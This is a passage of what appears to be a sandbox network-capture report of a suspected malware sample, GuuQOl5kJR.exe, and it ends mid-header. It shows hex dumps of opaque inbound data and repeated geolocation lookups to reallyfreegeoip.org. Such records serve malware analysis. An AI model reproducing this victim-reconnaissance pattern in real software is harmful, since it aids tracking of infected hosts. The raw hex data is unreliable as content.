2025-03-07 21:54:17 UTC	1378	IN	Data Raw: 49 37 e3 22 7d 80 ac a5 b2 26 18 f8 fc 52 d0 1c 4f e3 6b 6a d3 ff 18 bd 7b 77 be e4 06 68 ce 08 6d f2 c6 af 9f ff ab 71 91 a9 48 b0 c1 c5 5d b1 d9 8c 3f 0b 17 74 c9 e7 8b 89 bc 7a 6e e6 6b be be cb 9c 0d af f3 95 78 48 91 c4 f6 6e 65 25 73 20 f8 5b 6d 44 94 2d ec fd 7d 77 20 23 1b db 75 7a 9c 2a 17 b0 eb 35 ce 24 c5 1d 16 a4 d0 3f f3 9e 81 e6 99 10 eb c2 62 73 09 f7 98 ea 58 a8 3b 06 9f 48 95 a7 b0 1e 22 ae ca b3 b2 4e 25 ac 36 d3 72 d0 b7 a8 ef 90 35 e8 30 93 91 c5 04 e5 30 3a 99 73 ba 0d cc 55 9b 47 29 68 24 82 3a 2f 2b 4c 07 09 41 35 ba 9f 73 de 86 e7 c5 c4 4b 88 83 15 8d f8 38 00 1d bf 68 f1 b6 e2 bb fd 2a 62 46 ab c7 23 e5 93 c9 96 71 f0 d8 d7 db 53 3d 29 cf b1 aa 9e 17 f4 61 0b 79 44 aa 75 00 f8 30 98 d1 d4 e9 d5 6f f9 25 f6 19 d4 cf 0e e3 bd 81 09 Data Ascii: I7"}&ROkj{whmqH]?tznkxHne%s [mD-}w #uz5$?bsX;H"N%6r500:sUG)h$:/+LA5sK8hbF#qS=)ayDu0o%
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: d5 29 9f 3f 58 61 58 77 d0 db 05 d2 b9 2c 39 69 2e 35 c4 8c 9e 38 64 f1 db 50 45 3c a4 f5 e7 39 ed b0 e1 c1 2c 9d c2 25 57 a8 41 d6 27 43 eb fd 98 45 26 0c e5 c0 07 c9 2a a6 46 60 5c bc 3a e9 e5 ff 68 cd 26 eb 4d f7 1f 18 d3 1f 8e 5a 29 1b be be 2b 62 41 b8 54 9a 12 e9 89 69 14 d5 5c 2d c8 ce de fb ec 37 0b cd 35 c0 21 3d fe 5a 1d 10 00 46 6b f1 cc 40 ed a1 2a 62 48 cb 08 35 cd e1 da 91 6a f6 97 06 d7 53 37 10 b1 de 79 94 17 fe 1f 4a 45 44 ae 60 52 43 3f 8b db b7 9f b4 5e f9 21 da 22 41 cd 04 82 89 d7 ca a2 c7 41 fe dc ce cc 55 13 4c af 08 d3 5e 61 d2 11 c1 ef 03 e2 0c 01 63 07 b5 39 70 cb 96 2c fc 1a b2 de ef 5f 29 91 ec 5a c9 33 e6 aa 74 1a 07 0a 75 da 4b 50 60 a0 bb e1 30 f2 9b bd 75 af ab ac f1 29 69 de 95 54 65 f8 89 71 ea 33 57 82 06 97 0d 75 e6 52 Data Ascii: )?XaXw,9i.58dPE<9,%WA'CE&F`\:h&MZ)+bATi\-75!=ZFk@bH5jS7yJED`RC?^!"AAUL^ac9p,_)Z3tuKP`0u)iTeq3WuR
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: ca 01 95 0d 99 2b 5d 0d b6 e9 6c c8 ca 7d fb e0 37 e9 c8 35 c0 21 30 9e 72 ab 1a 6f 84 c9 d4 de 32 c6 85 2a 12 ee 9d fc 4b f5 eb c9 92 d9 d5 e2 a5 ae 5c 3d 71 14 94 b1 ea 0b f4 1f 30 16 aa ae 64 2b 28 1a 97 a3 91 83 ca 1f 5b 09 a9 50 d4 c5 0f da 28 ff 49 a8 c0 24 b4 22 cf d5 50 0a 4f a8 04 c4 7c 6d 8d d2 c1 39 0e e2 0c 0a 68 07 b5 31 18 b8 5c 2c f8 7f 5c de fe 5d 25 f5 ed 5a bd 0d 05 29 74 10 62 d0 8b d9 4b 56 48 1c c2 db 30 8c ac c3 4e ab d9 3d 80 97 19 c8 b7 b8 a8 f8 83 6d 14 1a 63 85 3f b5 0c 64 ee 57 e1 70 44 60 8a 99 01 b4 5b ad 79 84 70 cd 25 a6 90 58 f5 33 cc 5c f3 3c d4 28 f5 30 7a 50 88 55 0c c6 b7 b9 df 60 7f 42 e9 9d e1 b1 6f 11 7d 22 07 3e 44 27 f9 30 de f4 f4 2f e1 0b 0f e8 97 36 2a 10 14 6c 84 e6 d7 c0 fb 08 1f 33 44 0b 21 68 7d 03 26 1b dd Data Ascii: +]l}75!0ro2K\=q0d+([P(I$"PO\|m9h1\,\]%Z)tbKVH0N=mc?dWpD`[yp%X3\<(0zPU`Bo}">D'0/6l3D!h}&
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: 95 d6 4b 98 33 d9 f7 89 02 45 89 17 d5 24 3f ac db b1 c7 5f e2 0c 20 7b 1f b5 29 14 c0 5b 2c 8c 7f 64 de fe 5d 57 87 b6 5a cd 11 3c bd 1b 4c 68 c6 7f c9 58 41 69 da 50 ca 30 82 f0 14 4e af a1 a8 93 8f 78 c7 11 52 c2 97 51 7b ea 11 68 93 1e fe d4 64 ee 49 22 3c 55 7a 9a a8 3a a5 42 29 62 f2 3e cd 55 bb 1d 4a ef 5c 61 79 e5 48 90 39 ed 5b 88 54 88 5f 19 b2 1d a2 b0 11 0d 57 f6 8e 8b 88 2e 62 d6 28 79 7f 57 3b ec 04 fb 89 f4 25 95 07 12 f9 8f 71 cd 10 14 6c 26 e3 d9 bb 7f b4 1f 39 4e 6e be 07 a6 02 2a 11 d5 ff 63 7b 5b 44 ea 8c fa bf 71 1e 1d f0 2a 2c 01 a6 58 44 68 8f 46 85 7a d1 44 e4 c2 e9 8e 0a 5b 16 e1 ab f4 6d d7 24 5b 7c 61 e6 b8 04 0a 86 02 b6 5e 74 b3 2c 89 ed 0c 3c 29 c0 bd b5 fb b5 d7 9a 89 d1 f7 a1 68 9a 4e f7 d3 2b 73 7b 06 60 a1 5d 46 f7 a6 01 Data Ascii: K3E$?_ {)[,d]WZ<LhXAiP0NxRQ{hdI"<Uz:B)b>UJ\ayH9[T_W.b(yW;%ql&9Nnc{[Dq,XDhFzD[m$[\|a^t,<)hN+s{`]F
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: 45 a2 44 60 8a ba 2c b3 29 f0 1b 9d 10 a2 e8 b1 1d 51 f5 34 b3 3b e5 42 94 56 b6 34 52 50 fb eb 0a a9 06 d6 60 6a 0d 5d fc b5 cb 99 34 1b 60 a5 38 75 44 26 d8 0e e6 dd e2 25 ef b6 2a ff bb a8 60 10 1e c4 03 ea b1 81 dc b4 6f 91 6b 66 db 50 7d 02 2e b9 f0 e5 29 89 58 44 9a 2e df b2 27 46 1d f0 24 8e 04 ba 26 71 7e a7 4f 27 52 ac 44 f8 45 c7 d2 0a 5a 39 fb de 68 e8 be 3e 1c fe 61 e6 b4 a6 2f 96 13 32 5e 74 bd 83 a5 fd 68 ed b6 a9 a2 c3 ba b5 dd 9c 22 9b 42 df 2e 90 4e 2d 7d 0e 60 25 04 7b ce 2c e4 d2 b7 1a 3d d2 3a c4 2a 98 3f e5 47 0c 4d 40 30 3d f6 a9 ca 4c 1d b3 7a 86 19 98 eb a4 cb 1d ea 8e 83 34 cf f1 30 28 63 af eb db c8 84 15 a9 f8 a7 88 8a d0 ad 8b 53 4f 0a 44 ac ba 0f 00 bc 9c da 26 10 60 cd 82 2d 84 b0 69 8e 94 1d 6c 53 81 b4 5b 35 96 e8 6b 35 05 Data Ascii: ED`,)Q4;BV4RP`j]4`8uD&%`okfP}.)XD.'F$&q~O'RDEZ9h>a/2^th"B.N-}`%{,=:?GM@0=Lz40(cSOD&`-ilS[5k5
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: ff 2b 1a 7e 53 c2 3a fa a9 53 c4 38 e8 52 df 37 a6 24 e6 4d be 17 33 7a db 4e 5a 6a b2 fc 6b 48 33 87 7b 48 11 d7 54 79 9c 49 91 be a6 25 82 63 81 73 63 b7 fe d2 ea 7e e5 3c e8 84 9d ba bf a5 29 39 f4 9e f7 6d 9a 4e f5 60 11 78 1c 2b 37 a1 2d e2 d2 60 6f e0 0c 29 c4 2a 98 3f e5 47 0c 69 40 30 3d f6 a9 ca 4f 72 b5 7a 86 19 e6 df da f9 19 98 1f f3 a1 bd e7 68 bd 4b 2c e1 cd 3c 93 f8 89 fa 83 a0 41 e9 7b 89 7b 15 74 6b a6 a7 86 33 dd 8c db 73 10 3a 67 94 2d fe 04 b2 98 af ad 7d 55 b2 20 7f 2d e4 bd 70 cb 73 71 f3 f1 02 4a c2 44 b6 a7 e0 f9 0a a9 30 63 8a f4 ad e1 fb 90 c7 41 38 1e b2 40 80 ae 42 dd a0 84 a4 eb 29 fe 23 a7 f6 e8 ac 71 04 e1 84 67 a7 71 2c 0f d5 3e 52 9b 30 3e 24 a4 a5 0a 7a 4a e3 e5 fa d3 fb 63 5e de d6 51 e7 2d b7 38 4e cb 3e f7 4c e3 10 27 Data Ascii: +~S:S8R7$M3zNZjkH3{HTyI%csc~<)9mN`x+7-`o)*?Gi@0=OrzhK,<A{{tk3s:g-}U -psqJD0cA8@B)#qgq,>R0>$zJc^Q-8N>L'
2025-03-07 21:54:17 UTC	1378	IN	Data Raw: e1 0c 23 e1 13 a0 4d 62 5d 1f 39 68 ae 5f f6 a3 b2 0c 62 b5 0a ae 42 98 eb d0 96 da ea 8a fb a1 dc fd 32 17 5d 2c 9b f3 74 92 eb a2 99 c3 8b 8f 99 53 d2 53 4f 7e 04 64 ba 0b 78 dd a4 ae 56 06 4e 5d 8f 05 fb a6 97 89 94 15 6c 58 cb 52 5a 35 9c fb 70 da 0d a0 06 e8 7c 78 d1 54 a3 09 aa 32 78 98 39 72 f5 24 5d ec 85 c0 b9 5e 3c bc 93 74 bb 9b 54 d7 a2 2f 9d 9c 59 8d fb c8 aa e2 c3 a8 17 c3 95 ea f7 7d 43 df f0 28 2a cd 37 4c bd 10 80 6d 2c e3 e3 e5 f4 59 97 7b 2c 81 ab 58 86 8f e2 52 e2 f3 3e fd 27 92 35 3d 3f e8 b3 e1 a4 cd 39 a5 1b 62 dd c4 9b ec 64 72 79 07 ce 57 4d d9 d5 80 50 da 3a 2f df 44 3b 5b 89 d3 40 07 59 80 f6 ce 87 4a 9e a3 26 9e 93 36 e1 67 a8 76 aa 19 e2 81 e7 e9 10 25 c6 7c 1e 5d 76 59 4c 7e 7d 4e f6 4e 41 fd 10 61 60 23 b1 f7 57 8d f3 c3 3f Data Ascii: #Mb]9h_bB2],tSSO~dxVN]lXRZ5p\|xT2x9r$]^<tT/Y}C(*7Lm,Y{,XR>'5=?9bdryWMP:/D;[@YJ&6gv%\|]vYL~}NNAa`#W?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49698	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:23 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:24 UTC	858	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101468 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHt61yePM789czQdiCij1LYlmIxKhhoBauPvhtaDziGFvMTaa0w%2B4Wwz57xIJnsi5AXY%2BwtGmEzTXDVGxyCR%2FYka3CYBrI9Z085awDbLsqzt%2BL7IeJwx43dSNUBgtxh4lYQDpspk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd54c46e8eb047-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=43779&min_rtt=40173&rtt_var=13839&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=68791&cwnd=236&unsent_bytes=0&cid=6ea8b0c29390b255&ts=696&x=0"
2025-03-07 21:54:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49699	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:26 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-03-07 21:54:27 UTC	860	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:26 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101471 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uulSwcmTeZUhGfgibAzlSIG7LZ%2FS3e5a%2FuuvMZn7dhAFmmpPQj%2F50ba7rY%2F58s3a63pRsz6QWkcIHurYysiJVkINGmhLPCSmmLA1gZR2JK4B55ZzXT%2F86I7l91lSDCtfm6ryoaNB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd54d54eb2baf0-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41376&min_rtt=40854&rtt_var=12459&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=65848&cwnd=226&unsent_bytes=0&cid=c73e81add477d7fd&ts=690&x=0"
2025-03-07 21:54:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49701	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:29 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-03-07 21:54:30 UTC	862	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:29 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101474 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XiF3BFIuefliC%2B4qn3q7Y88bLRuk3Ik%2BDOhcdSb3jbU3XU31XxEMwoxkNlZ0btU%2BLfCPH2fQH%2F43yfvzyLJt%2BhfFuVr27FrPUb7mrjl6CpEEFHoAHHDO%2FzM9vJJ2AdmY6kBkOA4h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd54e93c5dbaf0-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=48226&min_rtt=40530&rtt_var=17517&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=67795&cwnd=226&unsent_bytes=0&cid=20836b5d1d449f54&ts=697&x=0"
2025-03-07 21:54:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49703	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:32 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:33 UTC	866	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101477 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S7T4q%2FQhkm6jSqjTxZb%2F9h57A59svFmzmgm89Zan40hpxsdsxjlYEZhs5n4%2BH8p17lY%2By2nj%2FeQFVvwHUUzAf%2BpOKQBSwTV8RjCXNFE%2FrO0FY%2Bub99kzQlKY2Ap9JBIDab25DEIJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd54fd9a5e458a-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41975&min_rtt=40608&rtt_var=13863&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=61041&cwnd=200&unsent_bytes=0&cid=45bb168fdba08209&ts=711&x=0"
2025-03-07 21:54:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49705	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:36 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:36 UTC	850	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:36 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101481 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vPGWOeI7hNXA9cgNQLbwlpBCR5kYm0Xde2kvvA6lIYkYLltqLHt0VWyF9RvN1ifLWZuI0PQ9IrmekxG2fTvqY1vsyBkRcQe7g9JeLJE30BtOAnjbMrJOvS7eo0Fj9sDBW5VKUE4X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd55133e3cbaf0-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=48570&min_rtt=40796&rtt_var=25525&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=35309&cwnd=226&unsent_bytes=0&cid=4d87a4fe897ba74f&ts=880&x=0"
2025-03-07 21:54:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49707	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:39 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:40 UTC	856	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:39 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cf-Ray: 91cd55273bb8458a-ATL Server: cloudflare Age: 101484 Cache-Control: max-age=31536000 Cf-Cache-Status: HIT Last-Modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n6yKrcZWMnaImApDU8aUAdbJ9%2BmjyzocjVvuU4vMyGmz0IZrnEtPW%2ByWiBJtLlmzRIbf9xg8n4PqKuH0igDvwu16m48IRbiNFXACJqGzJ2ZMh%2ByUNLu1Rzq0QDBIvB5HXEFXeDjc"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41178&min_rtt=40927&rtt_var=12013&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=67464&cwnd=200&unsent_bytes=0&cid=e9b91b4abe8daf78&ts=732&x=0"
2025-03-07 21:54:40 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49709	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:42 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:43 UTC	858	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:43 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101487 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMuRWYzFN1Xuf5hLBBaVSpIhAlFU81HnkBeLvYNFJvfE9js8vuSGsYiXYUi1LfWCw2%2F0tYq3%2Bz7dt0zmrvbstOBwT6i82UyfK%2BauqL422uZvWxhQb102Hv9u7M0%2BTjUUYk16F4hm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd553bc81ae590-ATL alt-svc: h3=":443"; ma=86400 server-timing: 